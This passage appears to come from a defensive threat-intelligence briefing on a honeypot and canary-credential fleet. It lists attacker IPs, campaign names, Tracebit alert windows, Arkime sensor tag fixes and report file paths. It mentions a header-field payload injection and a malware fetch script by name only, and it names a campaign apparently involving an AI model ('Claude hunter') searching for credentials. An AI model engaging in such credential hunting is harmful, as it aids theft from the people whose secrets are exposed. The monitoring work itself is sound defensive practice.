5. 77.90.185.x. Second window, moved nodes, 124 census events. Another window or another mint promotes the pair.
6. The zero-use question. Pull Tracebit history past the 6-day window for the aging hoards (34.58.160.181's 41 at +72 h, 45.148.10.171's 34/6d): is use shifting outside the pull window, or has consumption stopped?
7. Arkime tag repair. bahrain-sponge-01-ts / contabo-sponge-01-ts / ru-vps-01-ts labels still drift from their namesakes' IPs; sensor:lauterbourg-01-ts now works. An ops-repo fix, not a briefing action.

Digest: /data/flux-logs/reports/flux-digest-2026-10-22.md
Recon digest: /data/flux-logs/reports/flux-recon-digest-2026-10-22.md
Visuals: /data/flux-logs/reports/flux-fleet-visuals-2026-10-22.html
Plain language: /data/flux-logs/reports/flux-fleet-intel-briefing-plain-2026-10-22.md

Watch next cycle: (1) CLAUDE-CRED-HUNT and ADMINER-SWARM on the use side — Tracebit alerts on the 8 swarm mints, a second Claude hunter, or AWS use of the wordlist's take; (2) 92.118.39.92 — a repeat of the header-field payload injection, or telnet2.sh fetch telemetry against any fleet node; (3) WEBSIPHON's farm mint and the 77.90.185.x pair — both are one window from a use-side or promotion call.